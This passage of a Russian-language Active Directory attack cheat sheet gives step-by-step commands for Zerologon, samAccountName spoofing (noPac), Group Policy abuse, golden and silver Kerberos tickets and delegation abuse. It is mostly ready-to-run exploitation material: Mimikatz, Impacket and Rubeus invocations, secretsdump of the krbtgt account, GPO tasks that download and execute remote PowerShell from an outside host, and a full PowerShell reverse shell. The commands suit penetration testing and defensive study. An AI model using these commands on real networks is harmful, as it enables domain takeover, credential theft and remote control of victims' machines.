Если тупо - при выставлении нулей в запросе, максимум за 256 запросов DC примет вас за выбранного вами пользователя без проверки пароля.
Проверить
Mimikatz
1 privilege::debug
2 # Check for the CVE
3 lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
CrackMapExec
1 crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
https://github.com/SecuraBV/CVE-2020-1472
1 proxychains python3 zerologon_tester.py DC01 172.16.1.5
Эксплуатировать
Этапы:
1. Отправление 256 запросов (max).
2. Отключение шифрования MS-NRPC (стандартная процедура на стороне клиента, как, например разрешение на небезопасное подключение в HTTPS)
3. Смена пароля текущего юзера используя MS-NRPC
Следующими командами можно сбросить пароль у DC01 на пустой.
https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py
1 #reset DC01 pass
2 proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
Mimikatz
1 privilege::debug
2
3 # Exploit the CVE and set the computer account's password to ""
4 lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
5
6 #Вариант 2: сбросить пароль по Windows API на "Waza1234/Waza1234/Waza1234/"
7 lsadump::postzerologon /target:10.10.10.10 /account:DC01$
samAccountName spoofing
Если кратко: в начале AD пробует найти имя аккаунта указанное вами. Если имя не найдено, то AD добавляет $ в конец имени (признак машинной учетки ) и работает с новым именем. Поэтому атакующий может создать например аккаунт DC, получить для него билет, после чего переименовать учетку и с данными билетом постучаться на сервер. Тк аккаунта DC уже не существует, то он постучится от аккаунта DC$ - а это учетка доменного админа.
Проверка
Требуется, следующий параметр: MachineAccountQuota > 0 - Число учетных записей компьютеров, которые пользователь может создать в домене.
Проверяем квоту на создание акккаунтов:
1 crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
2
3 StandIn.exe --object ms-DS-MachineAccountQuota=*
Проверяем уязвим ли доменный контроллер:
1 crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
Эксплуатация
1. Создать машинную учету с произвольным именем
Impacket
1 addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
Powermad
1 . .\Powermad.ps1
2 $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
3 New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
SharpMad
1 Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
2. Очистить атрибут servicePrincipalName у учетки
Impacket
1 addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
PowerView
1 . .\Powerview.ps1
2 Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
3. Переименовать учетку (sAMAccountName поле) в название_другой_машинной_учетки_без_доллара, например, DomainController или DC01
Impacket - https://github.com/SecureAuthCorp/impacket/pull/1224
1 renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
Powermad
1 . .\Powermad.ps1
2 Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
4. Запросить TGT билет для данной учетки
Impacket
1 getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
Rubeus
1 Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
5. Переименовать название учетки в старый вариант (ну или любой другой который отличается от учетки-жертвы без доллара)
Impacket - https://github.com/SecureAuthCorp/impacket/pull/1224
1 renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
Powermad
1 Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
6. Запросить TGS билет используя полученный ранее TGT (спойлер, билет будет для учетки-жертвы)
Impacket - https://github.com/SecureAuthCorp/impacket/pull/1202
1 KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
Rubeus
1 Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
Далее с этим билетом можно стучаться на доменный контроллер и, например, сдампить секреты:
1 KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
Автоматизация
noPac - https://github.com/cube0x0/noPac
1 noPac.exe scan -domain htb.local -user user -pass 'password123'
2 noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
3 noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
sam_the_admin - https://github.com/WazeHell/sam-the-admin
1 $ python3 sam_the_admin.py "caltech/alice.cassie:Lee@tPass" -dc-ip 192.168.1.110 -shell
2 [*] Selected Target dc.caltech.white
3 [*] Total Domain Admins 11
4 [*] will try to impersonat gaylene.dreddy
5 [*] Current ms-DS-MachineAccountQuota = 10
6 [*] Adding Computer Account "SAMTHEADMIN-11$"
7 [*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
8 [*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
9 [*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
10 [*] SAMTHEADMIN-11$ sAMAccountName == dc
11 [*] Saving ticket in dc.ccache
12 [*] Resting the machine account to SAMTHEADMIN-11$
13 [*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
14 [*] Using TGT from cache
15 [*] Impersonating gaylene.dreddy
16 [*] Requesting S4U2self
17 [*] Saving ticket in gaylene.dreddy.ccache
18 [!] Launching semi-interactive shell - Careful what you execute
19 C:\Windows\system32>whoami
20 nt authority\system
Pachine - https://github.com/ly4k/Pachine
1 usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
2 [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
3 [domain/]username[:password]
4 $ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!'
5 $ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!'
6 $ export KRB5CCNAME=$PWD/administrator@predator.local.ccache
7 $ impacket-psexec -k -no-pass 'predator.local/administrator@dc.predator.local'
Групповые политики
Некорректная настройка групповых политик, которая приводит к возможности повышения привилегий. Как минимум, для начала достаточно получить список всех политик командами, которые ранее были указаны.
Права на управление политикой
1. Получаем список всех политик командой ранее
1 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
2. Находим среди них те, у которых IdentityReference совпадает с вашим пользователем и правами на работу с политиками.
3. Находим хосты с данной уязвимой политикой по GUID
1 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}
4. Определеяем название политики по GUID
1 Import-Module GroupPolicy
2 Get-GPO -Guid 31a09564-cd4a-4520-98fa-446a2af23b4b
4. Создаем задачу с данной политикой
1 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_payload>' -Force
5. Удаление созданной задачи после работы
1 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
Права на создание политики
1. Получаем списки обьектов(SID S-...), которые могут создавать новые политики в домене:
1 Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=prod,DC=zeropointsecurity,DC=local" -ResolveGUIDs | where { $_.ObjectAceType -eq "Group-Policy-Container" }
2. Получаем имя обьекта по SID
1 (module Powerview): ConvertFrom-SID S-1-5-21-2099624319-2074614000-178036743-1002
Права на редактирование политики
1. Список юзеров, которые могут изменять политики
1 Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }
2
3 Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }
2. Узнаем имя политики
1 Get-DomainGPO -Identity '{205F0E03-17C3-4E9B-925E-330FAD565CA1}' | select DisplayName
3. Получаем список ПК с данной политикой
1 Get-NetOU -GUID "205F0E03-17C3-4E9B-925E-330FAD565CA1" | % {Get-NetComputer -AdSpath $_}
4. Нужен пользователь, который может связать политику с "Организационными подразделениями"(OU), например, OU=Workstations. В идеале нужен тот же пользователь, кто может менять политику (так проще).
1 Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" }
Автоматизация
SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
Добавление прав пользователю
1 SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Добавление нового локального админа
1 SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Добавление сценария запуска компьютера или пользователя
1 SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
2
3 # только на определенном пк
4 SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell
Настройка ПК или пользователю задачи
1 SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
2
3 # на определенном ПК или пользователе
4
5 SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
PowerGPOAbuse
https://github.com/rootSySdk/PowerGPOAbuse
1 . .\PowerGPOAbuse.ps1
Добавить локального админа
1 Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
Выдать новые привилегии
1 Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
Добавить новый ПК/пользовательский скрипт
1 Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
Создать задачу
1 Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
pyGPOAbuse
https://github.com/Hackndo/pyGPOAbuse
Добавить пользователя john(пароль H4x00r123..) в локальные админы
1 ./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
Пример реверс-шелла
1 ./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
2 -powershell \
3 -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
4 -taskname "Completely Legit Task" \
5 -description "Dis is legit, pliz no delete" \
6 -user
PowerView
Вычисление групповых политик
1 Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Создать таск используя политику VulnGPO
1 New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
StandIn
https://github.com/FuzzySecurity/StandIn
Добавить локального администратора
1 StandIn.exe --gpo --filter Shards --localadmin user002
Выдать привилегию пользователю
1 StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
Запуск произвольной команды
1 StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
Выполнение действий подменяя DC
Golden ticket
Если у нас есть пароль (или ntlm-hash) аккаунта krbtgt, можно сгенерировать любой TGT оффлайн. А после получения произвольного TGT можно получить произвольный TGS == доступ к любому сервису, подключенному к AD.
Детект
Детектится, если посмотреть разницу между запрашиваемыми TGT и TGS (тк TGT генерится без запроса к доменному контроллеру
Эксплуатация
1. Получить пароль krbtgt
2. Сгенерировать TGT - рассматривать будем только этот пункт.
3. Получить TGS
4. Использовать TGS для доступа куда то.
Mimikatz
1 kerberos::purge
2 kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
3 kerberos::tgt
Meterpreter - kiwi
1 load kiwi
2 golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
3 golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
4 kerberos_ticket_purge
5 kerberos_ticket_use /root/Downloads/pentestlabuser.tck
6 kerberos_ticket_list
Impacket - ticketer.py
1 ./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
2
3 ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
4
5 ./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
Silver ticket
Суть атаки заключается в использовании пароля учетки службы (или его хеш), например, domain\iis_svc) для генерации TGS без участия доменного контроллера.
Эксплуатация
1. Сгенерировать TGS
2. Использовать TGS для доступа куда то.
Mimikatz
1 # Сгенерировать TGS
2 kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
3
4 # Другие примеры
5 .kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
6 kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
7
8 # Сохранить tgs
9 misc::convert ccache ticket.kirbi
У Active Directory есть стандартные настройки для учеток и др для общения, например, между сервисами. Это не является уязвимостями или атаками тк является стандартными возможностями, которые были предусмотрены как разработчиками AD, так и архитекторами.
Делегирования полномочий
Делегирование полномочий Kerberos позволяет повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере. Всего есть три типа делегирования.
Unconstrained Delegation / Неограниченное
Кратко: вместе с TGS, пользователь на сервис отправляет встроенный в TGS - TGT-билет, который в дальнейшем может быть использован сервисом для работы от имени данного пользователя. Был единственным вариантом делегирования до Windows Server 2003.
Атакующий может получить контроль над машиной, у которой есть данная привилегия, и соответственно получить TGT всех пользователей, которые делали соответствующие запросы на сервисы этой машины.
Стандартная процедура:
1. Пользователь отправляет TGS-билет(в который также встроили TGT билет) к сервису на ПК с Unconstrained Delegation
2. Этот ПК делает запросы на другие сервисы от имени первого пользователя используя его TGT.
Поиск ПК
ПК в домене
PowerView
1 Get-NetComputer -unconstrained
2
3 # Список ПК с Unconstrained
4 $Computers = Get-DomainComputer -Unconstrained
5
6 # Список юзеров, кто может делегироваться
7 $Users = Get-DomainUser -AllowDelegation -AdminCount
Active-Directory Module
1 import-module ActiveDirectory
2 Get-ADComputer -Filter {(TrustedForDelegation -eq $True)}
Удаленно
ldapdomaindump
1 ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
2 grep TRUSTED_FOR_DELEGATION domain_computers.grep
CrackMapExec
1 cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
windapsearch
1 python3 windapsearch.py --unconstrained-users --unconstrained-computers ...
ldapsearch
1 # users
2 ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))"
3
4 # computers
5 ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
Эксплуатация
Варианты эксплуатации:
1. Используя PrinterSpool - тогда вы получите TGT доменного админа заставив его перейти на сервис под вашим контролем (см. PrinterSpool)
2. Используя MS-EFSRPC Abuse - альтернативный методу SpoolSample, который заставляет доменного админа перейти на ваш ПК (см. MS-EFSRPC Abuse)
Constrained Delegation / Ограниченное
Аналогично предыдущему пункту, но позволяет получить доступ только к разрешенным сервисам на определенной машине.
Есть два типа делегации:
1. Service for User to self (S4U2self)
2. Service for User to Proxy(S4U2proxy)
Service for User to self (S4U2self)
Это когда сервисный аккаунт может получить TGS для себя (на сервис) от имени любого пользователя.
Требования: у этого аккаунта поле userAccountControl должно содержать TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D). Также у аккаунта не должно быть пометки "Account is sensitive and cannot be delegated".
Поиск
Эксплуатация
Service for User to Proxy(S4U2proxy)
Это когда сервисный аккаунт может получить TGS на другой сервис.
Требования: можно сделать запрос только на сервисы из поля msDS-AllowedToDelegateTo. Также у аккаунта не должно быть пометки "Account is sensitive and cannot be delegated".
Из полезного: если ваш аккаунт может делегировать права на сервис, например www/server02, то он также может делегировать права на другой сервис на этом ПК, например на cifs/server02.
Поиск
Powershell
1 # Поиск ПК
2 $ Get-DomainComputer -TrustedToAuth | select -exp dnshostname
3
4 # Список сервисов
5 $ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
Эксплуатация
Impacket
1 getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD
2
3 getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
Rubeus
1 #Получаем TGT на нашего пользователя
2 .\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
3
4 #Получаем TGS на самого себя от имени юзера Administrator
5 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
6
7 #Используем TGS к сервису CIFS от юзера Administrator
8 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
9
10 #Используем TGS на другом сервисе (HOST)
11 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
12
13 #Загружаем билет в память
14 .\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
kekeo.exe + Mimikatz.exe
1 # Получем TGT для нашего пользователя
2 tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
3
4 #Получаем TGS на два сервиса - один легитимный (time) и другой (ldap)
5 tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
6
7 #Загружаем TGS в память
8 Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
Resource Based Constrained Delegation / Ограниченное на основе ресурсов
Основное отличие от Constrained Delegation в том, что конечный сервис на который делегируемся должен иметь атрибут AllowedToActOnBehalfOfOtherIdentity со значением сервиса, на который изначально идет запрос (сервис, который делает запрос на конечный сервис).
Поиск
Эксплуатация
Powermad + Powerview + Rubeus (получение доменного админа)
1 # 1. Импорт скриптов
2 PowerShell.exe -ExecutionPolicy Bypass
3 Import-Module .\powermad.ps1
4 Import-Module .\powerview.ps1
5
6 # 2. Получить SID пользователя
7 $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
8 $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
9 $ACE
10 ConvertFrom-SID $ACE.SecurityIdentifier
11
12 # 3. Создать машинную учетку (нужна MachineAccountQuota)
13 New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
14
15 # 4. Перезаписываем параметр доменного контроллера AllowedToActOnBehalfOfOtherIdentity
16 $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
17 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
18 $SDBytes = New-Object byte[] ($SD.BinaryLength)
19 $SD.GetBinaryForm($SDBytes, 0)
20 Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
21 $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
22 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
23 $Descriptor.DiscretionaryAcl
24
25 # 4.
26 $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
27 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
28
29 # 4.
30 StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
31
32 # 5. Получаем хеш пароля
33 Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan
34
35 # 6.Имперсонировать доменного админа используя ранее созданную машинную учетку
36 .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
37 .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
Impacket + rbcd repo
https://github.com/tothi/rbcd-attack
1 # 1. Создаем фейковый ПК
2 addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
3
4 # 2. Добавляем к цели атрибут msDS-AllowedToActOnBehalfOfOtherIdentity с нашим созданным ПК
5 ./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
6
7 # 3. Получем TGS на имперсонированный сервис
8 getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
9
10 # 4. Добавляем тикет и юзаем его
11 export KRB5CCNAME=`pwd`/admin.ccache
12 klist
Powermad + Powerview + Rubeus (доступ к определенному ПК)
1 # 1. Импорт зависимостей
2 Import-Module .\powermad.ps1
3 Import-Module .\powerview.ps1
4
5 # Наш аккаунт TESTLAB\attacker, у которого есть GenericWrite на права учетки primary$
6 whoami
7
8 # 2. Устанавливаем домен ПК цели и получаем его SID
9 $TargetComputer = "primary.testlab.local"
10 $AttackerSID = Get-DomainUser attacker -Properties objectsid | Select -Expand objectsid
11
12
13 # 3. Подтвердждаем наличие права GenericWrite на $TargetComputer
14 $ACE = Get-DomainObjectACL $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID}
15 $ACE
16
17 # 4. Конвертируем SID
18 ConvertFrom-SID $ACE.SecurityIdentifier
19
20 # 5. Создаем новую машинную учетку attackersystem$
21 New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
22
23 # 6. Получаем SID созданного ПК
24 $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
25
26 # 7. Устанавливаем RawSecurityDescriptor у созданного ПК
27 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
28
29 # 8. Конвертируем байты SDDL
30 $SDBytes = New-Object byte[] ($SD.BinaryLength)
31 $SD.GetBinaryForm($SDBytes, 0)
32
33 # 9. Устанавливаем новый параметр msds-allowedtoactonbehalfofotheridentity
34 Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
35
36 # 10. Подтверждаем установку параметра
37 $RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
38 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
39 $Descriptor.DiscretionaryAcl
40
41 # 11. Получаем hash нашего пароля
42 .\Rubeus.exe hash /password:Summer2018! /user:attackersystem /domain:testlab.local
43
44 # 12. Получаем доступ к сервису cifs/primary.testlab.local (harmj0y - это доменный админ)
45 .\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:harmj0y /msdsspn:cifs/primary.testlab.local /ptt
46
47 # 12. Проверяем доступ
48 dir \\primary.testlab.local\C$
49
50 # 99. Очищаем параметр msds-allowedtoactonbehalfofotheridentity
51 Get-DomainComputer $TargetComputer | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity'